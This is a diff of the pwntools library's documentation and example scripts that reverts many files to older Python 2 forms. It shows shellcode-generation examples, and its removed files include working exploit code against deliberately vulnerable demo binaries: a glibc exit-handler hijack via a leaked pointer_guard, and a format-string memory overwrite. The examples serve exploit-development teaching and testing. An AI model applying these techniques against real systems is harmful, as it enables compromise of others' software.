@@ -5,56 +5,41 @@ Assembly of foreign architectures (e.g. assembling Sparc shellcode on
Mac OS X) requires cross-compiled versions of ``binutils`` to be
installed. We've made this process as smooth as we can.
In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.).
In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, mips64, vax, etc.).
Building `binutils` from source takes about 60 seconds on a modern 8-core machine.
Ubuntu
^^^^^^^^^^^^^^^^
For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.
For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <http://binutils.pwntools.com>`__.
Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.
.. code-block:: bash
$ sudo apt-get install software-properties-common
$ sudo apt-add-repository ppa:pwntools/binutils
$ sudo apt-get update
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
Then, install the binutils for your architecture.
.. code-block:: bash
$ sudo apt-get install binutils-$ARCH-linux-gnu
$ apt-get install binutils-$ARCH-linux-gnu
Mac OS X
^^^^^^^^^^^^^^^^
Mac OS X is just as easy, but requires building binutils from source.
However, we've made ``homebrew`` recipes to make this just two commands.
After installing `brew <https://brew.sh>`__, grab the appropriate
However, we've made ``homebrew`` recipes to make this a single command.
After installing `brew <http://brew.sh>`__, grab the appropriate
recipe from our `binutils
repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ brew install ./binutils-$ARCH.rb
Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
The actual resolution of the tap migration is still pending.
Windows
^^^^^^^^^^^^^^^^
Windows support is experimental. You can try installing a prebuilt version of binutils
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
instead of the MinGW toolchains due to differences in the commandline handling.
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
Alternate OSes
^^^^^^^^^^^^^^^^
@@ -66,10 +51,10 @@ OSes, ``binutils`` is simple to build by hand.
#!/usr/bin/env bash
V=2.38 # Binutils Version
V=2.25 # Binutils Version
ARCH=arm # Target architecture
cd ${TMPDIR:-/tmp}
cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
@@ -85,7 +70,7 @@ OSes, ``binutils`` is simple to build by hand.
export AS=as
../binutils-$V/configure \
--prefix=${PREFIX:-/usr/local} \
--prefix=/usr/local \
--target=$ARCH-unknown-linux-gnu \
--disable-static \
--disable-multilib \
+1 -1
View File
@@ -10,7 +10,7 @@ Ubuntu
.. code-block:: bash
$ sudo apt-get install python-dev
$ apt-get install python-dev
Mac OS X
^^^^^^^^^^^^^^^^
+37 -49
View File
@@ -2,9 +2,6 @@
from pwn import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
Getting Started
========================
@@ -20,13 +17,6 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
A full list of everything that is imported is available on :doc:`globals`.
Tutorials
---------
A series of tutorials for Pwntools exists online, at
https://github.com/Gallopsled/pwntools-tutorial#readme
Making Connections
------------------
@@ -37,16 +27,14 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
and all manner of things, along with some nifty helpers for common tasks.
For example, remote connections via :mod:`pwnlib.tubes.remote`.
::
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn = remote('ftp.debian.org',21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
>>> conn.send(b'USER anonymous\r\n')
>>> conn.recvuntil(b' ', drop=True)
b'331'
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
'Please specify the password.\r\n'
>>> conn.close()
It's also easy to spin up a listener
@@ -54,20 +42,20 @@ It's also easy to spin up a listener
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send(b'hello')
>>> r.send('hello')
>>> c.recv()
b'hello'
'hello'
Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
::
>>> sh = process('/bin/sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
''
>>> sh.recvline(timeout=5)
b'hello world\n'
'hello world\n'
>>> sh.close()
Not only can you interact with processes programmatically, but you can
@@ -84,16 +72,16 @@ a ``process`` tube.
::
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
>>> shell['whoami']
b'bandit0'
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
>>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
>>> sh.recvline(timeout=1)
b''
''
>>> sh.recvline(timeout=5)
b'hello world\n'
'hello world\n'
>>> shell.close()
Packing Integers
@@ -109,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = unhex('37130000')
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
The packing/unpacking operations are defined for many common bit-widths.
>>> u8(b'A') == 0x41
>>> u8('A') == 0x41
True
Setting the Target Architecture and OS
@@ -124,9 +112,9 @@ Setting the Target Architecture and OS
The target architecture can generally be specified as an argument to the routine that requires it.
>>> asm('nop')
b'\x90'
'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0 \xe3'
'\x00\xf0 \xe3'
However, it can also be set once in the global ``context``. The operating system, word size, and endianness can also be set here.
@@ -138,10 +126,10 @@ However, it can also be set once in the global ``context``. The operating syste
Additionally, you can use a shorthand to set all of the values at once.
>>> asm('nop')
b'\x90'
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3 \xf0\x00'
'\xe3 \xf0\x00'
.. doctest::
:hide:
@@ -170,12 +158,12 @@ Assembly and Disassembly
Never again will you need to run some already-assembled pile of shellcode
from the internet! The :mod:`pwnlib.asm` module is full of awesome.
>>> enhex(asm('mov eax, 0'))
>>> asm('mov eax, 0').encode('hex')
'b800000000'
But if you do, it's easy to suss out!
>>> print(disasm(unhex('6a0258cd80ebf9')))
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
@@ -188,7 +176,7 @@ loaded with useful time-saving shellcodes.
Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
'6a3158cd80...'
@@ -200,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
>>> cyclic_find(b'faab')
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
>>> print cyclic_find('faab')
120
ELF Manipulation
@@ -212,22 +200,22 @@ ELF Manipulation
Stop hard-coding things! Look them up at runtime with :mod:`pwnlib.elf`.
>>> e = ELF('/bin/cat')
>>> print(hex(e.address)) #doctest: +SKIP
>>> print hex(e.address) #doctest: +SKIP
0x400000
>>> print(hex(e.symbols['write'])) #doctest: +SKIP
>>> print hex(e.symbols['write']) #doctest: +SKIP
0x401680
>>> print(hex(e.got['write'])) #doctest: +SKIP
>>> print hex(e.got['write']) #doctest: +SKIP
0x60b070
>>> print(hex(e.plt['write'])) #doctest: +SKIP
>>> print hex(e.plt['write']) #doctest: +SKIP
0x401680
You can even patch and save the files.
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
b'\x7fELF'
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
' 0: c3 ret'
-10
View File
@@ -1,10 +0,0 @@
:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
====================================================================
Submodules
----------
.. toctree::
:glob:
libc/*
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
===========================================================
.. automodule:: pwnlib.libc.glibc
:members:
-14
View File
@@ -1,14 +0,0 @@
.. testsetup:: *
from pwn import *
from pwnlib.libcdb import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.libcdb` --- Libc Database
===========================================
.. automodule:: pwnlib.libcdb
:members:
+5 -3
View File
@@ -1,9 +1,11 @@
.. testsetup:: *
from pwn import *
from pwnlib.memleak import *
:mod:`pwnlib.memleak` --- Helper class for leaking memory
=========================================================
.. automodule:: pwnlib.memleak
:members:
.. module:: pwnlib.memleak
.. autoclass:: MemLeak
:members:
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.protocols.adb` --- Protocol implementations
========================================================
.. automodule:: pwnlib.protocols.adb
:members:
-14
View File
@@ -1,14 +0,0 @@
.. testsetup:: *
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.qemu` --- QEMU Utilities
==========================================
.. automodule:: pwnlib.qemu
:members:
+4
View File
@@ -1,3 +1,7 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.rop` --- Return Oriented Programming
=================================================
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwn import *
import tempfile
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
========================================================
.. automodule:: pwnlib.rop.ret2dlresolve
:members:
+1 -23
View File
@@ -1,28 +1,6 @@
.. testsetup:: *
import time
from glob import glob
from pwnlib.asm import asm
from pwnlib import constants
from pwnlib.context import context
from pwnlib.elf import ELF
from pwnlib.rop import ROP
from pwnlib.rop.call import Call, AppendedArgument
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
from pwnlib.util.packing import *
from pwnlib.util.fiddling import *
from pwnlib.tubes.process import process
from pwnlib import shellcraft
from pwnlib.util.misc import which
import pwnlib.data
context.clear()
# TODO: Remove global LINUX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
from pwn import *
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
==========================================================
+1 -9
View File
@@ -1,14 +1,6 @@
.. testsetup:: *
from pwnlib.rop.srop import *
from pwnlib import constants
from pwnlib import shellcraft
from pwnlib.elf import ELF
from pwnlib.tubes.process import process
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
from pwn import *
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
==========================================================
+1 -6
View File
@@ -1,11 +1,6 @@
.. testsetup:: *
from pwnlib.runner import *
from pwnlib.asm import asm
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
from pwn import *
:mod:`pwnlib.runner` --- Running Shellcode
===========================================
-4
View File
@@ -2,10 +2,6 @@
from pwnlib import shellcraft
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft` --- Shellcode generation
=================================================
-22
View File
@@ -1,22 +0,0 @@
.. testsetup:: *
from pwn import *
context.clear(arch='aarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
===========================================================
:mod:`pwnlib.shellcraft.aarch64`
--------------------------------
.. automodule:: pwnlib.shellcraft.aarch64
:members:
:mod:`pwnlib.shellcraft.aarch64.linux`
--------------------------------------
.. automodule:: pwnlib.shellcraft.aarch64.linux
:members:
-10
View File
@@ -3,10 +3,6 @@
from pwn import *
context.clear(arch='amd64')
# TODO: POSIX/WINDOWS shellcode test
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
===========================================================
@@ -21,9 +17,3 @@
.. automodule:: pwnlib.shellcraft.amd64.linux
:members:
:mod:`pwnlib.shellcraft.amd64.windows`
---------------------------------------
.. automodule:: pwnlib.shellcraft.amd64.windows
:members:
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='arm')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
===========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='i386')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
===========================================================
-22
View File
@@ -1,22 +0,0 @@
.. testsetup:: *
from pwn import *
context.clear(arch='loongarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
==================================================================
:mod:`pwnlib.shellcraft.loongarch64`
------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64
:members:
:mod:`pwnlib.shellcraft.loongarch64.linux`
------------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64.linux
:members:
+1 -13
View File
@@ -1,20 +1,8 @@
.. testsetup:: *
import tempfile
from pwnlib import shellcraft
from pwnlib.asm import asm
from pwnlib.context import context
from pwnlib.runner import run_assembly
from pwnlib.util.fiddling import enhex
from pwnlib.util.misc import write
from pwn import *
context.clear(arch='mips')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
===========================================================
File renamed without changes.
-22
View File
@@ -1,22 +0,0 @@
.. testsetup:: *
from pwn import *
context.clear(arch='riscv64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
==========================================================
:mod:`pwnlib.shellcraft.riscv64`
--------------------------------
.. automodule:: pwnlib.shellcraft.riscv64
:members:
:mod:`pwnlib.shellcraft.riscv64.linux`
--------------------------------------
.. automodule:: pwnlib.shellcraft.riscv64.linux
:members:
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='thumb')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
===========================================================
-6
View File
@@ -3,9 +3,3 @@
.. automodule:: pwnlib.term
:members:
Term Modules
-------------------
.. toctree::
term/readline
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwnlib.term.readline import *
import io
:mod:`pwnlib.term.readline` --- Terminal nice readline
======================================================
.. automodule:: pwnlib.term.readline
:members:
+1 -1
View File
@@ -27,4 +27,4 @@ Types of Tubes
.. autoclass:: pwnlib.tubes.tube.tube()
:members:
:exclude-members: recv_raw, send_raw, settimeout_raw,
can_recv_raw, shutdown_raw, connected_raw,
can_recv_raw
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwnlib.tubes.buffer import *
:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
==============================================================
.. automodule:: pwnlib.tubes.buffer
:members:
-7
View File
@@ -1,7 +1,6 @@
.. testsetup:: *
from pwn import *
from pwnlib.tubes.server import server
:mod:`pwnlib.tubes.sock` --- Sockets
===========================================================
@@ -24,9 +23,3 @@
.. autoclass:: pwnlib.tubes.listen.listen
:members:
:show-inheritance:
.. automodule:: pwnlib.tubes.server
.. autoclass:: pwnlib.tubes.server.server
:members:
:show-inheritance:
-8
View File
@@ -2,10 +2,6 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.tubes.ssh` --- SSH
===========================================================
@@ -18,10 +14,6 @@
:members: kill, poll, interactive
:show-inheritance:
.. autoclass:: pwnlib.tubes.ssh.ssh_process
:members:
:show-inheritance:
.. autoclass:: pwnlib.tubes.ssh.ssh_connecter()
:show-inheritance:
-8
View File
@@ -1,11 +1,3 @@
.. testsetup:: *
from pwn import *
import io
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.ui` --- Functions for user interaction
===================================================
-1
View File
@@ -1,6 +1,5 @@
.. testsetup:: *
from pwn import *
from pwnlib.util.cyclic import *
+1 -2
View File
@@ -1,7 +1,6 @@
.. testsetup:: *
from pwn import *
from pwnlib.util.fiddling import *
from pwnlib.util.fiddling import *
:mod:`pwnlib.util.fiddling` --- Utilities bit fiddling
-11
View File
@@ -1,11 +0,0 @@
.. testsetup:: *
from pwnlib.util.getdents import *
from pwnlib.util.fiddling import unhex
:mod:`pwnlib.util.getdents` --- Linux binary directory listing
==============================================================
.. automodule:: pwnlib.util.getdents
:members:
+16 -16
View File
@@ -17,19 +17,19 @@
count ,
cycle ,
dropwhile ,
filter ,
filterfalse ,
groupby ,
ifilter ,
ifilterfalse ,
imap ,
islice ,
map ,
izip ,
izip_longest ,
permutations ,
product ,
repeat ,
starmap ,
takewhile ,
tee ,
zip ,
zip_longest
tee
.. function:: chain
@@ -63,29 +63,29 @@
Alias for :func:`itertools.groupby`
.. function:: filter
.. function:: ifilter
Alias for python3-style :func:`filter`
Alias for :func:`itertools.ifilter`
.. function:: filterfalse
.. function:: ifilterfalse
Alias for :func:`itertools.filterfalse`
Alias for :func:`itertools.ifilterfalse`
.. function:: map
.. function:: imap
Alias for python3-style :func:`map`
Alias for :func:`itertools.imap`
.. function:: islice
Alias for :func:`itertools.islice`
.. function:: zip
.. function:: izip
Alias for python3-style :func:`zip`
Alias for :func:`itertools.izip`
.. function:: zip_longest
.. function:: izip_longest
Alias for :func:`itertools.zip_longest`
Alias for :func:`itertools.izip_longest`
.. function:: permutations
+1 -1
View File
@@ -1,8 +1,8 @@
.. testsetup:: *
from pprint import pprint
from pwnlib.util.misc import *
import os, subprocess
os.chdir("..")
:mod:`pwnlib.util.misc` --- We could not fit it any other place
===============================================================
-2
View File
@@ -2,8 +2,6 @@
from pwnlib.util.net import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.net` --- Networking interfaces
===================================================
-4
View File
@@ -1,12 +1,8 @@
.. testsetup:: *
from pwnlib.util.proc import *
from pwnlib.tubes.process import process
import os, sys
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.proc` --- Working with ``/proc/``
===================================================
-1
View File
@@ -1,7 +1,6 @@
.. testsetup:: *
from pwnlib.util.safeeval import *
_get_opcodes = pwnlib.util.safeeval._get_opcodes
:mod:`pwnlib.util.safeeval` --- Safe evaluation of python code
-2
View File
@@ -1,7 +1,5 @@
.. testsetup:: *
import tempfile
from pwnlib.context import context
from pwnlib.util.web import *
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.windbg` --- Working with WinDbg
============================================
.. automodule:: pwnlib.windbg
:members:
+4 -11
View File
@@ -26,10 +26,6 @@ Try running this example with::
```
Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
```
* `attach.py`
```
Example showing `pwnlib.gdb.attach()`
```
* `clean_and_log.py`
```
Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -69,7 +65,8 @@ Example showing `pwnlib.ui.options()`
```
* `port_forward.py`
```
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. Notice
that `<>` is just a shorthand.
```
* `readline_completers.py`
```
@@ -77,10 +74,6 @@ Example showing pwnlib's readline implementation and a few completers. This
part of pwnlib will probably see some major changes soon, but we wanted to show
off some proof-of-concepts.
```
* `remote.py`
```
Example showing how to use the remote class.
```
* `remote_gdb_debugging.py`
```
Simple example showing how to use the remote
@@ -110,7 +103,7 @@ and::
$ TERM=xterm-256color python text.py
```
* `yesno.py`
* `remote.py`
```
Example showing `pwnlib.ui.yesno()`
Example showing how to use the remote class.
```
+9 -12
View File
@@ -1,25 +1,22 @@
from __future__ import print_function
import gdb
from pwn import adb, context
from pwn import *
# Tell pwntools that the target is an Android device
context.os = "android"
context.arch = "aarch64" # or 'arm'
context.os='android'
context.arch='aarch64' # or 'arm'
# Optionally, set the remote ADB server address
context.adb_host = "172.16.110.1"
context.adb_host='172.16.110.1'
# Wait for a device to become available
print(adb.wait_for_device())
print adb.wait_for_device()
# Who am I?
print(adb.process("id").recvall().strip())
print adb.process('id').recvall().strip()
# Interactive sessions!
io = adb.shell()
io.sendline("echo Hello, world; exit")
print(io.recvall().replace("\r\n", "\n").strip())
io.sendline('echo Hello, world; exit')
print io.recvall().replace('\r\n', '\n').strip()
# Debugging!
gdb.debug("sh").interactive()
gdb.debug('sh').interactive()
+2 -2
View File
@@ -14,5 +14,5 @@ Try running this example with::
from pwn import *
print(args['RHOST'] or 'RHOST is not set')
print(args['RPORT'] or 'RPORT is not set')
print args['RHOST'] or 'RHOST is not set'
print args['RPORT'] or 'RPORT is not set'
+2 -2
View File
@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
shellcode = shellcraft.i386_to_amd64()
shellcode_asm = asm(shellcode)
print(enhex(shellcode_asm))
print(disasm(shellcode_asm))
print enhex(shellcode_asm)
print disasm(shellcode_asm)
+1 -1
View File
@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
from pwn import *
bash = process('/bin/bash')
gdb.attach(bash, gdbscript = '''
gdb.attach(bash, execute = '''
p "hello from pwnlib"
c
''')
+12 -18
View File
@@ -11,24 +11,18 @@ Solution:
"""
from pwn import *
from multiprocessing import Process
def submit_data():
with context.quiet:
with listen(1337) as io:
io.wait_for_connection()
io.sendline(b'prefix sometext')
io.sendline(b'prefix someothertext')
io.sendline(b'here comes the flag')
io.sendline(b'LostInTheInterTubes')
os.system('''((
echo prefix sometext ;
echo prefix someothertext ;
echo here comes the flag ;
echo LostInTheInterTubes
) | nc -l 1337) &
''')
if __name__ == '__main__':
p = Process(target=submit_data)
p.start()
r = remote('localhost', 1337)
atexit.register(r.clean_and_log)
r = remote('localhost', 1337)
atexit.register(r.clean_and_log)
while True:
line = r.recvline()
print(re.findall(br'^prefix (\S+)$', line)[0])
while True:
line = r.recvline()
print re.findall('^prefix (\S+)$', line)[0]
-72
View File
@@ -1,72 +0,0 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os
context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)
# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)
# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
t.recvuntil(b': ')
handle = int(t.recvline(), 16)
t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base
t.recvuntil(b': ')
chunk = int(t.recvline(), 16)
# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')
# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)
# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
Binary file not shown.
-39
View File
@@ -1,39 +0,0 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>
thread_local int x;
void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);
void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}
printf("Let's exit to see what will happen:\n");
return 0;
}
-53
View File
@@ -1,53 +0,0 @@
CFLAGS := -Wno-unused-result -Wno-format-security
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
printf-loop.native printf-loop.native32
.PHONY: run
run: all
./exploit2.py
./exploit.py
.PHONY: all
all: $(TARGETS)
.PHONY: clean
clean:
rm -f $(TARGETS)
# mips variants
%.mips: %.c
mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mipsel: %.c
mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mips64: %.c
mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
%.mips64el: %.c
mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
# arm variants
%.arm: %.c
arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
%.aarch64: %.c
aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# ppc variants
%.ppc: %.c
powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
%.ppc64: %.c
powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# sparc variants
%.sparc64: %.c
sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
# native variants
%.native: %.c
gcc $(CFLAGS) -o "$@" $^
%.native32: %.c
gcc $(CFLAGS) -m32 -o "$@" $^
# install deps on ubuntu xenial
.PHONY: install-apt
install-apt:
apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc
-39
View File
@@ -1,39 +0,0 @@
#!/usr/bin/env python
from pwn import *
@context.quiet
def exec_fmt(payload):
p = context.binary.process()
p.sendline(payload)
return p.recvall()
def exploit(binary):
context.binary = ELF(binary)
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
with context.binary.process() as p:
addr = unpack(p.recv(context.bytes))
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
p.sendline(payload)
p.recvuntil(b"DONE")
print(hex(u32(p.recv(4))))
binaries = [
"printf.mips",
"printf.mips64",
"printf.mipsel",
"printf.mips64el",
"printf.native",
"printf.native32",
"printf.ppc",
"printf.ppc64",
"printf.sparc64",
"printf.arm",
"printf.aarch64",
]
if len(sys.argv) > 1:
binaries = sys.argv[1:]
for binary in binaries:
exploit(binary)
-68
View File
@@ -1,68 +0,0 @@
